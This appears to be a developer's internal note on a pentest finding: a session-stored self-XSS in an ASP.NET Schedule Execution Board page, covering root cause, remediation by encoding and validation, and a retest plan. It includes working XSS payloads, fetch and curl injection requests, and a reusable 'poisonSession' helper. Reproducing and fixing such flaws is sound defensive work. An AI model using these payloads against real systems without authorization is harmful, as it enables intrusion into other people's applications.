554 lines
22 KiB
Markdown
Executable File
554 lines
22 KiB
Markdown
Executable File
---
|
||
note type:
|
||
- note
|
||
- microlise
|
||
- security
|
||
date: 2026-06-03
|
||
done: true
|
||
---
|
||
# Links:
|
||
|
||
- [[Cross Site Scripting (XSS)]]
|
||
|
||
# Metadata
|
||
|
||
- Name
|
||
Understanding Session XSS
|
||
- Overview
|
||
Pages 33–34 document an informational “Session stored XSS” finding on the TMC Schedule Execution Board. The issue is real (unescaped user input in a JavaScript context) but impact is limited because only the submitting user’s session is affected—classic self-XSS, not cross-user attack.
|
||
|
||
## Todos
|
||
|
||
- \[X\] review-finding
|
||
Read pages 33–34 and map finding to SaveSearchCriteriaToSession + ScheduleExecutionBoard.aspx flow
|
||
- \[X\] locate-source
|
||
Open TMC Web Portal repo and find session save + inline script render for date/orderID/time
|
||
- \[ \] remediate-encode
|
||
Apply HttpUtility.JavaScriptStringEncode to all session values in SetupControls() (\~1849-1879)
|
||
- \[ \] remediate-validate
|
||
Add server-side validation in SaveSearchCriteriaToSession before writing SEBSessionState
|
||
- \[ \] remediate-retest
|
||
Retest with direct POST payload + normal UI search flow on ScheduleExecutionBoard
|
||
|
||
# Understanding the Session Stored XSS Finding (Pages 33–34)
|
||
|
||
## Where this sits in the report
|
||
|
||
The [Microlise TMC PO WA April 2026 v1.0.pdf](d:/_dev/_misc/Pentest-04-26/Microlise%20TMC%20PO%20WA%20April%202026%20v1.0.pdf) lists **14 findings** total. Pages 33–34 ([33-34.pdf](d:/_dev/_misc/Pentest-04-26/33-34.pdf)) are the last technical finding before “END OF DOCUMENT”:
|
||
|
||
| Field | Value |
|
||
| ----------- | ------------------------------------------------------------------------------------------- |
|
||
| Title | **Session stored XSS** |
|
||
| Severity | **Informational** (lowest tier; 4 informational findings in the report) |
|
||
| Status | Open |
|
||
| CWE | [CWE-79](https://cwe.mitre.org/data/definitions/79.html) — Improper Neutralization of Input |
|
||
| Environment | `cert.microlise.com` (cert/UAT), path prefix `/PENTEST/TMCWebPortal/` |
|
||
|
||
Higher-severity items in the same report (SQLi, IDOR, BFLA, etc.) are separate; this finding is documented as **technically valid but low business risk**.
|
||
|
||
-----
|
||
|
||
## What XSS is (general)
|
||
|
||
**Cross-Site Scripting (XSS)** means untrusted data ends up in a web page in a way the **browser treats as executable JavaScript**, instead of inert text.
|
||
|
||
The name “cross-site” is historical: classic attacks trick a **victim** into loading a page on **your** app so script runs in **your** origin (stealing session cookies, performing actions as the user, etc.).
|
||
|
||
Common types:
|
||
|
||
| Type | Persistence | Typical delivery |
|
||
| ------------- | ------------------------------------- | -------------------------------- |
|
||
| **Reflected** | Not stored; one-off response | Malicious link/query param |
|
||
| **Stored** | Saved server-side (DB, file, session) | Victim loads a normal page later |
|
||
| **DOM-based** | Client-side only | Unsafe innerHTML, eval, etc. |
|
||
|
||
**Defense in depth:** validate input on the server (whitelist formats), and **encode output** for the exact context (HTML, attribute, JavaScript string, URL).
|
||
|
||
-----
|
||
|
||
## What happened in *this* finding (TMC context)
|
||
|
||
### Affected surface (source located)
|
||
|
||
| Role | Path |
|
||
| --------------------------- | ---------------------------------------------------------------------------------------------------------- |
|
||
| Page + inline JS | [ScheduleExecutionBoard.aspx](d:/_dev/WebPortal/src/code/AmberWebUI/SEB/ScheduleExecutionBoard.aspx) |
|
||
| WebMethod + page properties | [ScheduleExecutionBoard.aspx.cs](d:/_dev/WebPortal/src/code/AmberWebUI/SEB/ScheduleExecutionBoard.aspx.cs) |
|
||
| Session storage | [SEBSessionState.cs](d:/_dev/WebPortal/src/code/AmberWebUI/SEB/SEBSessionState.cs) |
|
||
|
||
- **Endpoint:** ASP.NET `[WebMethod]` `SaveSearchCriteriaToSession` on `ScheduleExecutionBoard.aspx`
|
||
- **Parameters:** JSON fields `date`, `orderID`, `time` (also `searchID`, `hours`, `quickSearch` in the same flow)
|
||
- **Host (pentest):** `cert.microlise.com`, path `/PENTEST/TMCWebPortal/SEB/...`
|
||
|
||
### Attack flow (as tested)
|
||
|
||
``` mermaid
|
||
flowchart LR
|
||
subgraph submit [Step1_Submit]
|
||
A[Tester sends POST directly]
|
||
B[SaveSearchCriteriaToSession]
|
||
C[Values stored in server session]
|
||
end
|
||
subgraph render [Step2_Render]
|
||
D[User loads ScheduleExecutionBoard.aspx]
|
||
E[Server embeds session values in script block]
|
||
F[Browser executes unescaped JS]
|
||
end
|
||
A --> B --> C
|
||
C --> D --> E --> F
|
||
```
|
||
|
||
1. **Save:** User (or tester) POSTs JSON to `SaveSearchCriteriaToSession`. The app saves search criteria into the **server-side session**.
|
||
2. **Render:** On the next load of `ScheduleExecutionBoard.aspx`, those values are written into the HTML **inside a `<script>` block**, as JavaScript string literals.
|
||
3. **Bug:** Values are inserted **without JavaScript string encoding**. A crafted `date` can **break out of the string** and run arbitrary JS.
|
||
4. **Proof:** Pentesters confirmed execution in the browser; screenshots in the PDF show the POST and page source.
|
||
|
||
### Code path (matches report exactly)
|
||
|
||
**1. Save — no server-side validation**
|
||
|
||
``` csharp
|
||
// ScheduleExecutionBoard.aspx.cs lines 336-348
|
||
[WebMethod]
|
||
public static void SaveSearchCriteriaToSession(string searchID, string orderID, string date, string time, int hours, bool displayPriorityJourneys, string quickSearch)
|
||
{
|
||
var sebState = new SEBSessionState();
|
||
sebState.ComplexSearch = searchID;
|
||
sebState.OrderBy = orderID;
|
||
sebState.SearchDate = date;
|
||
sebState.SearchTime = time;
|
||
// ...
|
||
}
|
||
```
|
||
|
||
**2. Persist — per-user ASP.NET session**
|
||
|
||
[SEBSessionState.cs](d:/_dev/WebPortal/src/code/AmberWebUI/SEB/SEBSessionState.cs) stores values under keys `dateID`, `timeID`, `orderByID`.
|
||
|
||
**3. Load — on next full page GET**
|
||
|
||
``` csharp
|
||
// ScheduleExecutionBoard.aspx.cs lines 267-277
|
||
private void SetupControls()
|
||
{
|
||
var sebState = new SEBSessionState();
|
||
SessionOrderID = sebState.OrderBy;
|
||
SessionDate = sebState.SearchDate;
|
||
SessionTime = sebState.SearchTime;
|
||
// ...
|
||
}
|
||
```
|
||
|
||
**4. Render — vulnerable inline JavaScript (root cause)**
|
||
|
||
``` javascript
|
||
// ScheduleExecutionBoard.aspx lines 1853-1875
|
||
if ("<%=SessionDate%>") {
|
||
$('#txtStart').val("<%= SessionDate %>");
|
||
}
|
||
if ("<%=SessionTime%>") {
|
||
$('#inputtime').val("<%=SessionTime%>");
|
||
}
|
||
if ("<%=SessionOrderID%>") {
|
||
$(orderBySelector + ' option[value="<%=SessionOrderID%>"]').attr('selected', 'selected');
|
||
}
|
||
```
|
||
|
||
Example payload in session: `"); alert(document.domain); //`
|
||
|
||
``` javascript
|
||
$('#txtStart').val(""); alert(document.domain); //");
|
||
```
|
||
|
||
**Related:** `QuickSearch` at line \~1879 — fix in the same pass.
|
||
|
||
### Why “stored”, “session”, and “self-XSS”
|
||
|
||
- **Stored:** Payload survives page navigation in **session state**.
|
||
- **Self-XSS:** Only the submitter’s session is affected; no normal cross-user path.
|
||
- Severity **Informational** because threat model is weak vs shared stored XSS.
|
||
|
||
### Client vs server validation gap
|
||
|
||
Pentesters bypassed browser validation via direct POST. No server-side validation blocked arbitrary strings.
|
||
|
||
-----
|
||
|
||
## Replicating the vulnerability (hands-on)
|
||
|
||
Use this section to **see the bug work** on an authorized environment (e.g. cert/UAT), then **repeat the same steps after fixes** and compare outcomes.
|
||
|
||
### Prerequisites
|
||
|
||
| Requirement | Detail |
|
||
| ----------------- | -------------------------------------------------------------------- |
|
||
| **Authorization** | Pentest scope or internal security test policy only |
|
||
| **Permission** | `Microlise:TMC:SEB:Read` |
|
||
| **URL** | e.g. `https://<host>/TMCWebPortal/SEB/ScheduleExecutionBoard.aspx` |
|
||
| **Tools** | Browser + DevTools or Burp Suite |
|
||
| **Build** | Before-fix build first; redeploy with remediation for after-fix runs |
|
||
|
||
Must be logged in (valid session cookie on POST).
|
||
|
||
### What you should observe (before fix)
|
||
|
||
``` mermaid
|
||
sequenceDiagram
|
||
participant You as Tester_browser
|
||
participant API as SaveSearchCriteriaToSession
|
||
participant Sess as ASP.NET_session
|
||
participant Page as ScheduleExecutionBoard_GET
|
||
|
||
You->>API: POST JSON with malicious date
|
||
API->>Sess: Store raw date in session
|
||
You->>Page: Reload SEB page
|
||
Page->>You: HTML with unescaped date inside script
|
||
You->>You: alert or other JS runs
|
||
```
|
||
|
||
1. WebMethod returns HTTP 200.
|
||
2. Payload never went through `DateValidation()`.
|
||
3. Full page reload → JS runs (e.g. `alert`).
|
||
4. View Source: payload inside double-quoted JS string, unescaped.
|
||
|
||
**Self-XSS:** only your session is poisoned.
|
||
|
||
### Step-by-step reproduction
|
||
|
||
**Step 1 — Baseline (optional)**
|
||
|
||
1. Open SEB, perform a search.
|
||
2. DevTools → Network → `SaveSearchCriteriaToSession`.
|
||
3. Note POST, `application/json`, body shape, Cookie header.
|
||
|
||
**Step 2 — Inject via direct POST (bypass UI)**
|
||
|
||
| Parameter | Suggested test value |
|
||
| ------------------------- | ------------------------------- |
|
||
| `searchID` | `0.X` |
|
||
| `orderID` | `0.X` |
|
||
| `date` | `"); alert(document.domain);//` |
|
||
| `time` | `00:00` |
|
||
| `hours` | `24` |
|
||
| `displayPriorityJourneys` | `false` |
|
||
| `quickSearch` | `""` |
|
||
|
||
**Burp:** Repeater → replace JSON body → send.
|
||
|
||
**Browser console** (on SEB page, same origin):
|
||
|
||
``` javascript
|
||
fetch('ScheduleExecutionBoard.aspx/SaveSearchCriteriaToSession', {
|
||
method: 'POST',
|
||
credentials: 'include',
|
||
headers: { 'Content-Type': 'application/json; charset=utf-8' },
|
||
body: JSON.stringify({
|
||
searchID: '0.X',
|
||
orderID: '0.X',
|
||
date: '"); alert(document.domain);//',
|
||
time: '00:00',
|
||
hours: 24,
|
||
displayPriorityJourneys: false,
|
||
quickSearch: ''
|
||
})
|
||
}).then(r => console.log('status', r.status));
|
||
```
|
||
|
||
**curl** (replace host, path, cookies):
|
||
|
||
``` bash
|
||
curl -s -o /dev/null -w "%{http_code}" \
|
||
-X POST "https://<host>/<TMCWebPortal>/SEB/ScheduleExecutionBoard.aspx/SaveSearchCriteriaToSession" \
|
||
-H "Content-Type: application/json; charset=utf-8" \
|
||
-H "Cookie: <paste-session-cookies>" \
|
||
-d "{\"searchID\":\"0.X\",\"orderID\":\"0.X\",\"date\":\"\\\"); alert(document.domain);//\",\"time\":\"00:00\",\"hours\":24,\"displayPriorityJourneys\":false,\"quickSearch\":\"\"}"
|
||
```
|
||
|
||
**Step 3 — Trigger render (stored XSS)**
|
||
|
||
1. Full navigation reload of `ScheduleExecutionBoard.aspx` (F5).
|
||
2. `SetupControls()` embeds session `date` (\~lines 1854–1855).
|
||
|
||
**Step 4 — Confirm**
|
||
|
||
| Check | Before fix (expected) |
|
||
| ----------------- | --------------------------------------------------------------------- |
|
||
| Popup / console | `alert(document.domain)` runs |
|
||
| View Source | Literal `"); alert(...)` inside `$('#txtStart').val("...")` unescaped |
|
||
| Network on reload | Normal GET only; XSS from inline script |
|
||
| Other users | No effect (different session) |
|
||
|
||
**Step 5 — Optional:** malicious `time` or `orderID`.
|
||
|
||
**Step 6 — Clean up:** log out/in or POST valid date/time.
|
||
|
||
### Comparison matrix (before vs after fixes)
|
||
|
||
Run the same Steps 2–4 after each change:
|
||
|
||
| Observation | Before fix | After encoding only | After validation only | After both |
|
||
| -------------------------------- | ---------- | ------------------- | --------------------- | ------------- |
|
||
| POST malicious `date` accepted? | Yes (200) | Yes (200) | No / not stored | No |
|
||
| `alert` on reload? | **Yes** | **No** | Depends\* | **No** |
|
||
| Executable JS in View Source? | **Yes** | **No** (escaped) | Depends\* | **No** |
|
||
| `#txtStart` shows attack text? | Maybe | Escaped/safe | Default/empty | Default/empty |
|
||
| Normal UI search + reload works? | Yes | Yes | Yes | Yes |
|
||
|
||
\*If only validation: reload may show no XSS without encoding — still apply both fixes.
|
||
|
||
### Why UI-only testing misses the bug
|
||
|
||
| Path | `DateValidation()` runs? | Payload reaches session? |
|
||
| -------------------------- | ------------------------ | ------------------------ |
|
||
| Click Search in UI | Yes | No (normal typing) |
|
||
| Direct POST / Burp / fetch | **No** | **Yes** |
|
||
|
||
Reproduction **must** use direct POST to match the pentest.
|
||
|
||
### Evidence to capture (for fix sign-off)
|
||
|
||
1. Request (POST body with payload).
|
||
2. Screenshot of alert (before) or no alert (after).
|
||
3. View Source snippet around `$('#txtStart').val(`.
|
||
4. Regression: legitimate date, reload, criteria restored.
|
||
|
||
### Safety and scope
|
||
|
||
- No production without approval.
|
||
- Prefer `alert(document.domain)` over exfiltration demos.
|
||
- Self-XSS: coding defect demo, not mass compromise.
|
||
|
||
-----
|
||
|
||
## How to fix it
|
||
|
||
Use **two layers**: output encoding + server-side validation.
|
||
|
||
### Fix 1 — Output encoding (required)
|
||
|
||
File: [ScheduleExecutionBoard.aspx](d:/_dev/WebPortal/src/code/AmberWebUI/SEB/ScheduleExecutionBoard.aspx), `SetupControls()` (\~1847–1884).
|
||
|
||
| Line (approx) | Field | Encode |
|
||
| ------------- | --------------- | ------ |
|
||
| 1849–1850 | SessionSearchID | Yes |
|
||
| 1854–1855 | SessionDate | Yes |
|
||
| 1860–1861 | SessionTime | Yes |
|
||
| 1872–1874 | SessionOrderID | Yes |
|
||
| 1878–1879 | QuickSearch | Yes |
|
||
|
||
**Before:**
|
||
|
||
``` javascript
|
||
$('#txtStart').val("<%= SessionDate %>");
|
||
```
|
||
|
||
**After:**
|
||
|
||
``` javascript
|
||
$('#txtStart').val("<%= HttpUtility.JavaScriptStringEncode(SessionDate ?? string.Empty) %>");
|
||
```
|
||
|
||
Encode `if` guards too, or use code-behind booleans (`HasSessionDate`).
|
||
|
||
### Fix 2 — Server-side input validation
|
||
|
||
File: [ScheduleExecutionBoard.aspx.cs](d:/_dev/WebPortal/src/code/AmberWebUI/SEB/ScheduleExecutionBoard.aspx.cs), `SaveSearchCriteriaToSession` (\~337).
|
||
|
||
| Parameter | Validation rule |
|
||
| ---------- | --------------------------------------- |
|
||
| `date` | Same regex as client `DateValidation()` |
|
||
| `time` | `^[0-2][0-9]:[0-5][0-9]$` |
|
||
| `orderID` | `^[0-9]+(\.X)?$` |
|
||
| `searchID` | Same as `orderID` |
|
||
| `hours` | Clamp 1–999 |
|
||
|
||
``` csharp
|
||
[WebMethod]
|
||
public static void SaveSearchCriteriaToSession(...)
|
||
{
|
||
if (!IsValidSebDate(date) || !IsValidSebTime(time)
|
||
|| !IsValidQueryComponentId(orderID) || !IsValidQueryComponentId(searchID))
|
||
{
|
||
return;
|
||
}
|
||
var sebState = new SEBSessionState();
|
||
// ...
|
||
}
|
||
```
|
||
|
||
**Date regex:**
|
||
|
||
^[0-9]{4}-(((0[13578]|(10|12))-(0[1-9]|[1-2][0-9]|3[0-1]))|(02-(0[1-9]|[1-2][0-9]))|((0[469]|11)-(0[1-9]|[1-2][0-9]|30)))$
|
||
|
||
#### Explanation of regex:
|
||
|
||
##### `SebDateRegex`
|
||
|
||
`^[0-9]{4}-(((0[13578]|(10|12))-(0[1-9]|[1-2][0-9]|3[0-1]))|(02-(0[1-9]|[1-2][0-9]))|((0[469]|11)-(0[1-9]|[1-2][0-9]|30)))$`
|
||
|
||
Overall shape: `YYYY-MM-DD` only — four digits, hyphen, month/day with structure checks.
|
||
|
||
|Part|Meaning|
|
||
|---|---|
|
||
|`^` / `$`|Whole string must match (no extra characters).|
|
||
|`[0-9]{4}-`|Four-digit year, then `-`.|
|
||
|31-day months|`(0[13578]\|(10\|12))-(0[1-9]\|[1-2][0-9]\|3[0-1])` — Jan, Mar, May, Jul, Aug, Oct, Dec: day `01`–`31`.|
|
||
|February|`02-(0[1-9]\|[1-2][0-9])` — day `01`–`29` (no Feb 30/31).|
|
||
|30-day months|`(0[469]\|11)-(0[1-9]\|[1-2][0-9]\|30)` — Apr, Jun, Sep, Nov: day `01`–`30`.|
|
||
|
||
Matches: `2026-05-27`, `2024-02-29`, `2024-04-30`
|
||
Rejects: `2026-13-01`, `not-a-date`, `"); alert(1);//`, empty/null
|
||
|
||
Note: This is format validation, not a full calendar check. It does not prove the date exists (e.g. `2025-02-30` can match the February branch). That matches the existing client `DateValidation()` in `ScheduleExecutionBoard.aspx` (line 4050).
|
||
|
||
##### `SebTimeRegex`
|
||
|
||
`^[0-2][0-9]:[0-5][0-9]$`
|
||
|
||
Overall shape: two digits, `:`, two digits — same idea as `HH:mm` in the UI.
|
||
|
||
|Part|Meaning|
|
||
|---|---|
|
||
|`[0-2][0-9]`|First hour digit 0–2, second 0–9 → allows `00`–`29` (looser than strict 00–23).|
|
||
|`:`|Literal colon.|
|
||
|`[0-5][0-9]`|Minutes `00`–`59`.|
|
||
|
||
Matches: `00:00`, `12:30`, `23:59`
|
||
Rejects: `25:99`, `9:00` (needs two hour digits), `"); alert(1);//`
|
||
|
||
Note: Values like `29:00` match the pattern but are not real clock times; the pentest/UI convention is this simple pattern, not full time-of-day logic.
|
||
|
||
##### `QueryComponentIdRegex`
|
||
|
||
`^[0-9]+(\.X)?$`
|
||
|
||
Overall shape: one or more digits, optionally followed by `.X` — the values SEB puts on search/order-by dropdowns.
|
||
|
||
|Part|Meaning|
|
||
|---|---|
|
||
|`^` / `$`|Whole string only.|
|
||
|`[0-9]+`|One or more digits (e.g. `0`, `123`).|
|
||
|`(\.X)?`|Optional literal `.X` (shared / external query suffix in combo markup).|
|
||
|
||
Matches: `0`, `0.X`, `123`, `123.X`
|
||
Rejects: `abc`, `0.XY`, `"); alert(1);//`, empty/null
|
||
|
||
This aligns with how items are built in `BuildSearchForComboBoxItems` / `BuildOrderByComboBoxItems` (e.g. `"0.X"` for “all journeys” / unspecified order-by).
|
||
### Fix 3 — What not to do
|
||
|
||
- Do not rely on client `DateValidation()` alone.
|
||
- Do not use `HtmlEncode` in JS string literals.
|
||
- Do not use `innerHTML`; keep `.val()`.
|
||
|
||
### Fix 4 — Verification / test plan
|
||
|
||
Master procedure: **Replicating the vulnerability** section above.
|
||
|
||
**Negative test:**
|
||
|
||
``` json
|
||
{
|
||
"searchID": "0.X",
|
||
"orderID": "0.X",
|
||
"date": "\"); alert(1);//",
|
||
"time": "00:00",
|
||
"hours": 24,
|
||
"displayPriorityJourneys": false,
|
||
"quickSearch": ""
|
||
}
|
||
```
|
||
|
||
**Pass:** No alert; escaped in source; invalid date not stored (with Fix 2).
|
||
|
||
**Positive test:** UI search + reload restores criteria.
|
||
|
||
### Files to change (summary)
|
||
|
||
| File | Change |
|
||
| ---------------------------------------------------------------------------------------------------------- | --------------------------------------------- |
|
||
| [ScheduleExecutionBoard.aspx](d:/_dev/WebPortal/src/code/AmberWebUI/SEB/ScheduleExecutionBoard.aspx) | `JavaScriptStringEncode` in `SetupControls()` |
|
||
| [ScheduleExecutionBoard.aspx.cs](d:/_dev/WebPortal/src/code/AmberWebUI/SEB/ScheduleExecutionBoard.aspx.cs) | Validation in `SaveSearchCriteriaToSession` |
|
||
|
||
**References:** [OWASP XSS](https://owasp.org/www-community/attacks/xss/), [PortSwigger Stored XSS](https://portswigger.net/web-security/cross-site-scripting/stored), [JavaScriptStringEncode](https://learn.microsoft.com/en-us/dotnet/api/system.web.httputility.javascriptstringencode)
|
||
|
||
-----
|
||
|
||
## Mental model: severity vs correctness
|
||
|
||
| Question | Answer |
|
||
| -------------------------- | ----------------------------------- |
|
||
| Real coding flaw? | **Yes** (CWE-79) |
|
||
| Cross-user session hijack? | **Not under normal use** (self-XSS) |
|
||
| Should it still be fixed? | **Yes**, as hygiene |
|
||
| Priority vs SQLi / IDOR? | **Much lower** (informational) |
|
||
|
||
## Code snippets
|
||
|
||
### Reset:
|
||
|
||
```
|
||
fetch('ScheduleExecutionBoard.aspx/SaveSearchCriteriaToSession', {
|
||
method: 'POST',
|
||
credentials: 'include',
|
||
headers: { 'Content-Type': 'application/json; charset=utf-8' },
|
||
body: JSON.stringify({
|
||
searchID: '0.X', orderID: '0.X',
|
||
date: '2026-05-27', time: '00:00', hours: 24,
|
||
displayPriorityJourneys: false, quickSearch: ''
|
||
})
|
||
}).then(() => location.reload());
|
||
```
|
||
|
||
### Alert
|
||
|
||
```
|
||
fetch('ScheduleExecutionBoard.aspx/SaveSearchCriteriaToSession', {
|
||
method: 'POST',
|
||
credentials: 'include',
|
||
headers: { 'Content-Type': 'application/json; charset=utf-8' },
|
||
body: JSON.stringify({
|
||
searchID: '0.X',
|
||
orderID: '0.X',
|
||
date: '"+alert(1)+"',
|
||
time: '00:00',
|
||
hours: 24,
|
||
displayPriorityJourneys: false,
|
||
quickSearch: ''
|
||
})
|
||
}).then(r => console.log(r.status, r.statusText));
|
||
```
|
||
|
||
### Poison Session
|
||
|
||
```
|
||
function poisonSession(field, payload) {
|
||
const body = {
|
||
searchID: '0.X',
|
||
orderID: '0.X',
|
||
date: '2026-05-27',
|
||
time: '00:00',
|
||
hours: 24,
|
||
displayPriorityJourneys: false,
|
||
quickSearch: ''
|
||
};
|
||
body[field] = payload;
|
||
return fetch('ScheduleExecutionBoard.aspx/SaveSearchCriteriaToSession', {
|
||
method: 'POST',
|
||
credentials: 'include',
|
||
headers: { 'Content-Type': 'application/json; charset=utf-8' },
|
||
body: JSON.stringify(body)
|
||
}).then(r => console.log(field, r.status, r.statusText));
|
||
}
|
||
```
|
||
|
||
### Confirm / prompt (alternative dialog evidence)
|
||
|
||
```
|
||
poisonSession('date', '"+confirm("XSS: SEB session poisoned")+"');
|
||
```
|
||
|
||
### Visible banner
|
||
|
||
```
|
||
poisonSession('date', '"+document.body.insertAdjacentHTML("afterbegin","<div style=\\"position:fixed;top:0;left:0;right:0;background:red;color:white;z-index:99999;padding:12px;text-align:center\\">XSS PoC — arbitrary script executed in SEB context</div>")+"');
|
||
``` |